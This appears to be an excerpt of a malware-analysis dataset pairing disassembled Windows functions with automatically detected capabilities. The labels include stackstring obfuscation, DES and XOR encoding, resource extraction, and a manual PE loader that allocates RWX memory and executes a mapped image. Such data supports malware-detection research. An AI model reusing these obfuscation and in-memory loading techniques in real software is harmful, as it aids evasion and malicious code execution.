joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4018d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44a738
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
mov al, 0x73
push ebx
mov byte [ebp - 0x40], al
mov byte [ebp - 0x3a], al
mov eax, dword [0x4661b0]
push esi
push edi
mov dword [ebp - 0x24], ecx
test eax, eax
mov dword [ebp - 0x10], esp
mov byte [ebp - 0x3f], 0x68
mov byte [ebp - 0x3e], 0x65
mov byte [ebp - 0x3d], 0x79
mov byte [ebp - 0x3c], 0x6a
mov byte [ebp - 0x3b], 0x40
mov byte [ebp - 0x39], 0x69
mov byte [ebp - 0x38], 0x6e
mov byte [ebp - 0x37], 0x61
mov byte [ebp - 0x36], 0x2e
mov byte [ebp - 0x35], 0x63
mov byte [ebp - 0x34], 0x6f
mov byte [ebp - 0x33], 0x6d
je 0x40193b
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
lea edx, [ebp - 0x18]
push edx
push 0x45f1a8
push 0x17
push 0
push 0x45f198
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jl 0x401980
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.ole32.dll_OleRun]
test eax, eax
jl 0x401977
mov eax, dword [ebp - 0x18]
push 0x4661b0
push 0x45f188
push eax
mov ecx, dword [eax]
call dword [ecx]
mov eax, dword [ebp - 0x18]
push eax
mov edx, dword [eax]
call dword [edx + 8]
mov dword [ebp - 0x18], 0
mov eax, dword [ebp - 0x18]
mov ebx, 1
cmp eax, 3
jge 0x401ad8
push ebx
push 0x45f170
push 0
mov ecx, 0x4660f0
call fcn.004309db
mov ecx, eax
add ecx, 0xbc
call fcn.0043ae4a
push 0x200
call fcn.00430f63
mov edi, eax
mov ecx, 0x80
xor eax, eax
mov dword [ebp - 0x1c], edi
add esp, 4
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x20]
lea ecx, [ebp - 0x1c]
push eax
push ecx
push 0x45f164
push 0x45f158
mov ecx, 0x4660f0
call fcn.00445773
push 0x200
call fcn.00430f63
mov esi, eax
mov ecx, 0x80
xor eax, eax
mov edi, esi
rep stosd dword es:[edi], eax
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
push ebx
lea edx, [ebp - 0x40]
push 0xe
push edx
push eax
push ecx
push esi
call fcn.0040b9e0
add esp, 0x1c
lea ecx, [ebp - 0x14]
push esi
call fcn.00431290
push esi
mov dword [ebp - 4], 0
call fcn.00430f8c
mov edx, dword [ebp - 0x1c]
push edx
call fcn.00430f8c
mov eax, dword [0x4661b0]
add esp, 8
test eax, eax
mov byte [ebp - 4], bl
jne 0x401a55
push 0x80004003
call fcn.0042d648
mov esi, dword [0x4661b0]
push 0xa
push esi
mov eax, dword [esi]
call dword [eax + 0x34]
test eax, eax
jge 0x401a73
push 0x45f148
push esi
push eax
call fcn.0042d656
push 0
push ecx
mov ecx, esp
mov dword [ebp - 0x28], esp
push 0x4661b4
call fcn.004028c0
push ecx
mov byte [ebp - 4], 2
mov ecx, esp
mov dword [ebp - 0x2c], esp
push 0x4661b4
call fcn.004028c0
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 3
call fcn.00402890
push ecx
mov ecx, esp
mov dword [ebp - 0x30], esp
push eax
call fcn.004028c0
mov ecx, 0x4661b0
mov byte [ebp - 4], 4
call fcn.0040b0d0
mov ecx, eax
mov byte [ebp - 4], bl
call fcn.00402f00
lea ecx, [ebp - 0x14]
mov dword [ebp - 4], 0xffffffff
call fcn.00431222
push ebx
push 0x45f13c
push 0
mov ecx, 0x4660f0
call fcn.004309db
mov ecx, eax
add ecx, 0xbc
call fcn.0043ae4a
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40bb40
Capabilities:
Encrypt data using des

Disassembly:
mov eax, dword [esp + 8]
push ebx
push ebp
push esi
push edi
push 0x40
push eax
push 0x466250
call fcn.0040be80
push 0x40
push 0x44ec40
push 0x466250
push 0x466250
call fcn.0040bda0
mov al, byte [esp + 0x3c]
add esp, 0x1c
test al, al
jne 0x40bbcb
mov ebx, dword [esp + 0x1c]
mov ebp, 0x10
mov eax, dword [0x45ff74]
mov ecx, 8
mov esi, eax
mov edi, 0x466230
push ebx
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.0040bce0
mov ecx, dword [0x45ff70]
mov edx, dword [0x45ff74]
push 0x20
push ecx
push edx
call fcn.0040bdf0
mov edi, dword [0x45ff70]
add esp, 0x14
mov ecx, 8
mov esi, 0x466230
add ebx, 0x30
dec ebp
rep movsd dword es:[edi], dword [esi]
jne 0x40bb7f
jmp 0x40bc24
mov eax, dword [esp + 0x1c]
mov ebp, 0x10
lea ebx, [eax + 0x2d0]
mov eax, dword [0x45ff70]
mov ecx, 8
mov esi, eax
mov edi, 0x466230
push ebx
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.0040bce0
mov ecx, dword [0x45ff74]
mov edx, dword [0x45ff70]
push 0x20
push ecx
push edx
call fcn.0040bdf0
mov edi, dword [0x45ff74]
add esp, 0x14
mov ecx, 8
mov esi, 0x466230
sub ebx, 0x30
dec ebp
rep movsd dword es:[edi], dword [esi]
jne 0x40bbda
push 0x40
push 0x44ec80
push 0x466250
push 0x466250
call fcn.0040bda0
mov eax, dword [esp + 0x24]
push 0x40
push 0x466250
push eax
call fcn.0040bec0
add esp, 0x1c
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x40bc60
Capabilities:
Encrypt data using des

Disassembly:
mov eax, dword [esp + 8]
push esi
push edi
push 0x40
push eax
push 0x4661f0
call fcn.0040be80
push 0x38
push str.91__
push 0x4661f0
push 0x4661f0
call fcn.0040bda0
mov edi, dword [esp + 0x28]
add esp, 0x1c
xor esi, esi
movsx ecx, byte [esi + 0x44ed78]
mov edx, dword [0x45ff78]
push ecx
push 0x1c
push edx
call fcn.0040be20
movsx eax, byte [esi + 0x44ed78]
mov ecx, dword [0x45ff7c]
push eax
push 0x1c
push ecx
call fcn.0040be20
push 0x30
push 0x44ed48
push 0x4661f0
push edi
call fcn.0040bda0
add esp, 0x28
inc esi
add edi, 0x30
cmp esi, 0x10
jl 0x40bc92
pop edi
pop esi
ret

Function at 0x40bce0
Capabilities:
Encrypt data using des

Disassembly:
push esi
mov esi, dword [esp + 8]
push 0x30
push 0x44ecc0
push esi
push 0x4661c0
call fcn.0040bda0
mov eax, dword [esp + 0x1c]
push 0x30
push eax
push 0x4661c0
call fcn.0040bdf0
push 0x4661c0
push esi
call fcn.0040bd30
push 0x20
push 0x44ecf0
push esi
push esi
call fcn.0040bda0
add esp, 0x34
pop esi
ret

Function at 0x40bdf0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [esp + 0x10]
test esi, esi
jle 0x40be12
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0xc]
push ebx
sub ecx, eax
mov dl, byte [ecx + eax]
mov bl, byte [eax]
xor bl, dl
mov byte [eax], bl
inc eax
dec esi
jne 0x40be04
pop ebx
pop esi
ret
Function at 0x40eb30
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x44b701
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
mov al, byte [esp + 3]
push esi
mov esi, ecx
push edi
push 0xc
mov dword [esp + 0x10], esi
mov byte [esi + 8], al
call fcn.00430f63
xor edi, edi
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], edi
mov cl, byte [esp + 0xf]
push 0xc
mov dword [esp + 0x20], edi
mov byte [esi + 0x14], cl
call fcn.00430f63
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [esi + 0x18], eax
mov dword [esi + 0x1c], edi
mov dl, byte [esp + 0x13]
push 0xc
mov byte [esp + 0x24], 1
mov byte [esi + 0x20], dl
call fcn.00430f63
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [esi + 0x24], eax
mov dword [esi + 0x28], edi
mov al, byte [esp + 0x17]
push 0xc
mov byte [esp + 0x28], 2
mov byte [esi + 0x2c], al
call fcn.00430f63
mov ecx, dword [esp + 0x20]
mov dword [eax], eax
mov dword [eax + 4], eax
add esp, 0x10
mov dword [esi + 0x30], eax
mov dword [esi + 0x34], edi
mov dword [esi + 0x50], edi
mov dword [esi + 0x58], edi
mov dword [esi + 0x60], edi
mov dword [esi + 0x68], edi
mov dword [esi + 0x54], edi
mov dword [esi + 0x5c], edi
mov dword [esi + 0x64], edi
mov dword [esi + 0x6c], edi
mov dword [esi], 0x44f4b8
mov dword [esi + 0x170], 1
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret

Function at 0x413879
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov ecx, dword [eax + 8]
push 0xfffffffffffffff0
add ecx, 0x646c6f47
pop esi
xor word [eax + 0xc], cx
xor word [eax + 0xe], cx
xor dword [eax + 0x110], ecx
xor byte [eax + 0x114], cl
mov dword [ebp + 8], ecx
lea ecx, [eax + 0x10]
sub esi, eax
mov edi, 0x100
lea eax, [ecx + esi]
push 4
cdq
pop ebx
idiv ebx
mov al, byte [edx + ebp + 8]
xor byte [ecx], al
inc ecx
dec edi
jne 0x4138af
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x4138c7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov eax, dword [eax + 8]
mov dword [ebp + 0x10], 0x100
add eax, 0x646c6f47
xor edi, edi
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov esi, dword [eax + 4]
mov eax, dword [ebp + 0xc]
lea ecx, [eax + 7]
mov eax, edi
push 4
cdq
pop ebx
idiv ebx
mov al, byte [edx + ebp - 4]
xor al, byte [esi + edi]
inc edi
mov byte [ecx], al
inc ecx
dec dword [ebp + 0x10]
jne 0x4138f1
pop edi
pop esi
pop ebx
leave
ret

Function at 0x41390e
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
lea eax, [ebp - 0x94]
mov dword [ebp - 0x94], 0x94
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x413936
xor eax, eax
leave
ret
mov eax, dword [ebp - 0x84]
xor ecx, ecx
sub eax, ecx
je 0x41396a
dec eax
je 0x41394a
dec eax
je 0x41395c
jmp 0x413932
cmp dword [ebp - 0x8c], ecx
jne 0x413956
push 4
jmp 0x41396c
jbe 0x41395c
push 5
jmp 0x41396c
cmp dword [ebp - 0x90], 5
sbb eax, eax
add eax, 7
leave
ret
push 3
pop eax
leave
ret
Function at 0x41396f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
mov byte [esi], 0x4d
mov byte [esi + 1], 0x48
mov eax, dword [edi]
mov cl, byte [eax]
mov al, byte [eax + 1]
mov byte [esi + 3], al
mov eax, dword [edi + 8]
mov byte [esi + 2], cl
mov eax, dword [eax]
mov dword [esi + 4], eax
call fcn.00413a0c
mov dword [esi + 8], eax
lea ecx, [eax + 0x646c6f47]
mov eax, dword [edi]
mov dword [ebp + 8], ecx
mov dx, word [eax + 2]
xor dx, cx
mov word [esi + 0xc], dx
mov edx, dword [eax + 0x12]
mov edx, dword [edx]
xor edx, ecx
mov dword [esi + 0x110], edx
mov dx, word [eax + 8]
xor dx, cx
mov word [esi + 0xe], dx
mov dl, byte [eax + 0x16]
xor dl, cl
mov byte [esi + 0x114], dl
mov dx, word [eax + 4]
test dx, dx
jbe 0x413a08
mov edi, dword [eax + 0xe]
push ebx
movzx eax, dx
xor ebx, ebx
lea ecx, [esi + 0x10]
mov dword [ebp + 0xc], eax
mov eax, ebx
push 4
cdq
pop esi
idiv esi
mov al, byte [edx + ebp + 8]
xor al, byte [edi + ebx]
inc ebx
mov byte [ecx], al
inc ecx
dec dword [ebp + 0xc]
jne 0x4139ef
pop ebx
pop edi
pop esi
pop ebp
ret

Function at 0x413a5f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
add dword [ebp + 0x10], 0x646c6f47
mov eax, dword [eax]
mov dx, word [eax + 6]
test dx, dx
jbe 0x413aa6
push ebx
push esi
mov esi, dword [eax + 0xa]
mov eax, dword [ebp + 0xc]
push edi
xor edi, edi
lea ecx, [eax + 7]
movzx eax, dx
mov dword [ebp + 8], eax
mov eax, edi
push 4
cdq
pop ebx
idiv ebx
mov al, byte [edx + ebp + 0x10]
xor al, byte [ecx]
mov byte [esi + edi], al
inc edi
inc ecx
dec dword [ebp + 8]
jne 0x413a8b
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x414032
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push es
mov ax, 0x101f
mov es, ax
xor eax, eax
mov esi, eax
mov ecx, 0x8000
xor al, byte es:[esi]
inc esi
loop 0x414048
pop es
mov byte [ebp - 1], al
mov al, byte [ebp - 1]
test al, al
jne 0x41405b
add al, 0x55
mov ecx, dword [ebp + 8]
pop esi
mov byte [ecx], al
xor al, al
leave
ret
Function at 0x42feb8
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, 0x44b88c
call fcn.00422ed8
sub esp, 0x18
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1c], esi
mov eax, dword [esi + 0x48]
mov edi, dword [esi + 0x44]
mov dword [ebp - 0x18], eax
call fcn.00445088
cmp dword [esi + 0x40], 0
mov ebx, dword [eax + 0xc]
je 0x42fef7
call fcn.00445088
mov ebx, dword [eax + 0xc]
push 5
push dword [esi + 0x40]
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x42ff05
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x42ff13
or eax, 0xffffffff
jmp 0x42fffb
mov ecx, esi
call fcn.0042fe2e
mov dword [ebp - 0x14], eax
call fcn.00432598
xor edi, edi
cmp dword [ebp - 0x14], edi
mov dword [ebp - 0x20], edi
je 0x42ff4a
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_IsWindowEnabled]
test eax, eax
je 0x42ff4a
push edi
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
mov dword [ebp - 0x20], 1
push esi
mov dword [ebp - 4], edi
call fcn.0043254c
push dword [ebp - 0x14]
call fcn.0043207e
push ebx
push eax
push dword [ebp - 0x18]
mov ecx, esi
call fcn.0042fbc6
cmp eax, edi
je 0x42ffbd
test byte [esi + 0x24], 0x10
je 0x42ff8b
push 4
mov ecx, esi
pop ebx
call fcn.00431851
test ah, 1
je 0x42ff83
push 5
pop ebx
push ebx
mov ecx, esi
call fcn.004345ee
cmp dword [esi + 0x1c], edi
je 0x42ffbd
push 0x97
push edi
push edi
push edi
push edi
push edi
mov ecx, esi
call fcn.00431999
jmp 0x42ffbd
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x20], edi
je 0x42ffd1
push 1
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
cmp dword [ebp - 0x14], edi
je 0x42ffea
call dword [sym.imp.USER32.dll_GetActiveWindow]
cmp eax, dword [esi + 0x1c]
jne 0x42ffea
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_SetActiveWindow]
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x58]
mov ecx, esi
call fcn.0042fe68
mov eax, dword [esi + 0x2c]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret

Function at 0x432a48
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x432a80
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004316c9
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004316a1
jmp 0x432a8c
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4
Function at 0x434397
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4343d9
call fcn.00445088
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4343d9
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4343d0
xor eax, eax
jmp 0x4343e1
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004343e7
pop edi
pop esi
pop ebx
ret 4
Function at 0x4464bd
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov dword [ebp - 8], ecx
call fcn.00445088
mov esi, dword [eax + 0xc]
push 0xf1
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x4464fa
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x4464fa
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
jne 0x4464fe
xor eax, eax
jmp 0x44657c
movzx eax, word [esi + 6]
push ebx
push edi
shl eax, 2
push eax
call fcn.00430f63
and dword [ebp - 4], 0
cmp word [esi + 6], 0
pop ecx
mov ebx, eax
jbe 0x446536
mov ecx, ebx
lea eax, [esi + 8]
movzx edx, word [eax]
inc dword [ebp - 4]
mov dword [ecx], edx
movzx edx, word [esi + 6]
inc eax
add ecx, 4
inc eax
cmp dword [ebp - 4], edx
jl 0x446520
movzx eax, word [esi + 6]
mov ecx, dword [ebp - 8]
push eax
push ebx
call fcn.0044666d
push ebx
mov edi, eax
call fcn.00430f8c
test edi, edi
pop ecx
je 0x446578
movzx ecx, word [esi + 4]
movzx eax, word [esi + 2]
lea esi, [ecx + 7]
push ecx
mov ecx, dword [ebp - 8]
lea edx, [eax + 7]
push eax
push esi
push edx
call fcn.00446436
push dword [ebp + 8]
mov ecx, dword [ebp - 8]
call fcn.00446581
mov edi, eax
mov eax, edi
pop edi
pop ebx
pop esi
leave
ret 4

Function at 0x446e89
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x446eb7
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x446ed5
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00446def
jmp 0x446ed5
mov eax, dword [esi + 0x14]
test eax, eax
je 0x446ed5
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.00446def
test edi, edi
mov eax, edi
jne 0x446ebf
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x402708
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x40500c]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x4027a0
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x402780
xor eax, eax
push ebp
push 0x402779
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4027bc
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402780
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x40500c]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x40500c], ax
mov esp, ebp
pop ebp
ret

Function at 0x402e70
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x406034], 0
je 0x402ed1
cmp word [0x406208], 0xd7b2
jne 0x402e99
cmp dword [0x406210], 0
jbe 0x402e99
mov eax, 0x406204
call dword [0x406220]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x405054
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x402ef8
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x405018], 0
jne 0x402eed
push 0
push 0x40504c
push 0x405054
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x4034e4
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x40354a
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00403224
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.004025fc
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x403534
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403551
lea eax, [ebp - 0x10]
call fcn.00402fec
ret
Function at 0x403e38
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
jmp 0x403ecc
mov eax, dword [edi + 0xc]
add eax, dword [ebp + 8]
push eax
call sub.kernel32.dll_LoadLibraryA
mov dword [ebp - 4], eax
mov ebx, dword [edi + 0x10]
add ebx, dword [ebp + 8]
mov esi, ebx
cmp dword [edi + 4], 0xffffffff
jne 0x403ec4
mov ebx, dword [edi]
add ebx, dword [ebp + 8]
jmp 0x403ec4
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push esi
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x403ebe
test byte [ebx + 3], 0x80
je 0x403e9a
mov eax, dword [ebx]
and eax, 0xffff
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_GetProcAddress
mov dword [esi], eax
jmp 0x403eae
mov eax, dword [ebp + 8]
add eax, dword [ebx]
add eax, 2
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_GetProcAddress
mov dword [esi], eax
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 8]
push eax
push 4
push esi
call sub.kernel32.dll_VirtualProtect
add ebx, 4
add esi, 4
cmp dword [ebx], 0
jne 0x403e6d
add edi, 0x14
cmp dword [edi + 0x10], 0
je 0x403edc
cmp dword [edi + 0xc], 0
jne 0x403e49
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret 8
Function at 0x403ee8
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 8], eax
mov edi, dword [ebp - 4]
push 0x40
push edi
call sub.kernel32.dll_IsBadReadPtr
test eax, eax
jne 0x404041
cmp word [edi], 0x5a4d
jne 0x404041
mov esi, dword [edi + 0x3c]
add esi, dword [ebp - 4]
push 0xf8
push esi
call sub.kernel32.dll_IsBadReadPtr
test eax, eax
jne 0x404041
cmp dword [esi], 0x4550
jne 0x404041
xor eax, eax
mov dword [ebp - 0x10], eax
mov ebx, esi
add ebx, 0xf8
mov eax, dword [esi + 0x50]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x404041
push 0x40
push 0x3000
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x10]
push eax
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x404041
movzx eax, word [esi + 6]
mov dword [ebp - 0xc], eax
mov ecx, ebx
sub ecx, edi
mov eax, dword [ebp - 0xc]
shl eax, 3
lea eax, [eax + eax*4]
add ecx, eax
mov edx, edi
mov eax, dword [ebp - 0x18]
call fcn.00403924
mov ecx, dword [ebp - 0x10]
dec ecx
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x14]
xor edx, edx
call fcn.00403924
mov edi, dword [ebp - 0xc]
dec edi
test edi, edi
jl 0x403fcf
inc edi
mov ecx, dword [ebx + 0x10]
mov edx, dword [ebx + 0x14]
add edx, dword [ebp - 4]
mov eax, dword [ebx + 0xc]
add eax, dword [ebp - 0x18]
call fcn.00403924
add ebx, 0x28
dec edi
jne 0x403fb5
mov eax, dword [esi + 0xa0]
test eax, eax
je 0x403ff0
mov edx, dword [esi + 0xa4]
push edx
mov ecx, eax
add ecx, dword [ebp - 0x18]
mov eax, dword [esi + 0x34]
mov edx, dword [ebp - 0x18]
call fcn.00403dc8
mov eax, dword [esi + 0x80]
mov ebx, dword [ebp - 0x18]
add eax, ebx
push eax
mov eax, dword [ebp - 0x18]
push eax
call fcn.00403e38
mov eax, dword [esi + 0x28]
mov edi, eax
add edi, ebx
mov edx, edi
test eax, eax
je 0x40403b
xor eax, eax
push ebp
push 0x404031
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 1
push ebx
call edx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x40403b
mov eax, dword [ebp - 0x18]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret